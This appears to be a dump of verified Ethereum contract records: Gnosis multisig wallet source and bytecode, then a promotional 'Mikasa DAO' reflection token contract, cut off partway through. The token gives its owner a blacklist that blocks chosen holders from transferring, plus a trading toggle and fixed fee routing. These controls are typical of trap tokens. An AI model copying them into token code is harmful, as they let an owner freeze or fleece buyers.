/// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require ( !isOwner[_owners[i]]); require (_owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (txn.destination.call.value(txn.value)(txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } /// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWalletWithDailyLimit is MultiSigWallet { event DailyLimitChange(uint dailyLimit); uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { Transaction storage txn = transactions[transactionId]; bool confirmed = isConfirmed(transactionId); if (confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) { txn.executed = true; if (!confirmed) spentToday += txn.value; if (txn.destination.call.value(txn.value)(txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; if (!confirmed) spentToday -= txn.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } }
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110d2565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111b8565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a36004808035906020019091905050611284565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112e0565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611374565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114d0565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116fa565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b6107436004808035906020019091905050611700565b005b341561075057600080fd5b61076660048080359060200190919050506117c3565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506119a0565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119bf565b005b341561082f57600080fd5b610837611a3a565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a3f565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a45565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d5c565b005b34156108fc57600080fd5b610904611f8d565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e9190612137565b506003805490506004541115610bad57610bac600380549050611700565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211151515610f9e57600080fd5b818111151515610fad57600080fd5b60008114151515610fbd57600080fd5b60008214151515610fcd57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110399190612163565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111b05760016000858152602001908152602001600020600060038381548110151561111057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611190576001820191505b6004548214156111a357600192506111b1565b80806001019150506110df565b5b5050919050565b600080600090505b60038054905081101561127e576001600084815260200190815260200160002060006003838154811015156111f157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611271576001820191505b80806001019150506111c0565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112e861218f565b600380548060200260200160405190810160405280929190818152602001828054801561136a57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611320575b5050505050905090565b61137c6121a3565b6113846121a3565b6000806005546040518059106113975750595b9080825280602002602001820160405250925060009150600090505b600554811015611453578580156113ea575060008082815260200190815260200160002060030160009054906101000a900460ff16155b8061141d575084801561141c575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156114465780838381518110151561143157fe5b90602001906020020181815250506001820191505b80806001019150506113b3565b8787036040518059106114635750595b908082528060200260200182016040525093508790505b868110156114c557828181518110151561149057fe5b90602001906020020151848983038151811015156114aa57fe5b9060200190602002018181525050808060010191505061147a565b505050949350505050565b6114d861218f565b6114e061218f565b6000806003805490506040518059106114f65750595b9080825280602002602001820160405250925060009150600090505b6003805490508110156116555760016000868152602001908152602001600020600060038381548110151561154357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611648576003818154811015156115cb57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110151561160557fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611512565b816040518059106116635750595b90808252806020026020018201604052509350600090505b818110156116f257828181518110151561169157fe5b9060200190602002015184828151811015156116a957fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808060010191505061167b565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173a57600080fd5b600380549050816032821115151561175157600080fd5b81811115151561176057600080fd5b6000811415151561177057600080fd5b6000821415151561178057600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561181c57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561187857600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118e457600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361199985611d5c565b5050505050565b60006119ad848484611f93565b90506119b8816117c3565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119f957600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8157600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ada57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b3457600080fd5b600092505b600380549050831015611c1f578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b6c57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c125783600384815481101515611bc457fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c1f565b8280600101935050611b39565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000808260008082815260200190815260200160002060030160009054906101000a900460ff16151515611d8f57600080fd5b6000808581526020019081526020016000209250611dac846110d2565b91508180611de75750600083600201805460018160011615610100020316600290049050148015611de65750611de583600101546120e5565b5b5b15611f875760018360030160006101000a81548160ff021916908315150217905550811515611e255782600101546008600082825401925050819055505b8260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168360010154846002016040518082805460018160011615610100020316600290048015611ece5780601f10611ea357610100808354040283529160200191611ece565b820191906000526020600020905b815481529060010190602001808311611eb157829003601f168201915b505091505060006040518083038185876187965a03f19250505015611f1f57837f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611f86565b837f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008360030160006101000a81548160ff021916908315150217905550811515611f855782600101546008600082825403925050819055505b5b5b50505050565b60085481565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611fbc57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061207b9291906121b7565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b60006201518060075401421115612106574260078190555060006008819055505b6006548260085401118061211f57506008548260085401105b1561212d5760009050612132565b600190505b919050565b81548183558181151161215e5781836000526020600020918201910161215d9190612237565b5b505050565b81548183558181151161218a578183600052602060002091820191016121899190612237565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106121f857805160ff1916838001178555612226565b82800160010185558215612226579182015b8281111561222557825182559160200191906001019061220a565b5b5090506122339190612237565b5090565b61225991905b8082111561225557600081600090555060010161223d565b5090565b905600a165627a7a7230582039266c1cf329b8eea41c9c51b42c8ae2cfec8097f74aa86ce2b4659eb1c778280029
{"success": true, "error": null, "results": {}}
10,498
0x948371b8da346f9ced109b43652e41df124ee4b5
/* Mikasa DAO is designed by a group of fans who are obsessed with the extraordinary performance of the almighty Mikasa. The aim of the Mikasa DAO is to prolong the legend of Mikasa by writing a new individual comic sequel. Community members of our DAO can get to decide the plot and the ending of this individual comic sequel. 😝😝 Holders of the Mikasa DAO not only can initiate or vote on the plot and the ending of this individual comic sequel but also get to receive a printed copy of this comic. Please join our DAO and prolong the legend of Mikasa together! Tokenomics Total supply: 1,000,000,000 Initial LP: 3 Initial Max buy and hold :2% Tax:12% Creation and team 5% Marketing 2% Buyback and Burn: 5% https://t.me/mikasadao */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MIKASADAO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Mikasa DAO"; string private constant _symbol = "MIKASADAO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x6638E075a7058A3eE9731e3e26D8ee62a2e818EF); _buyTax = 12; _sellTax = 12; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 20_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { 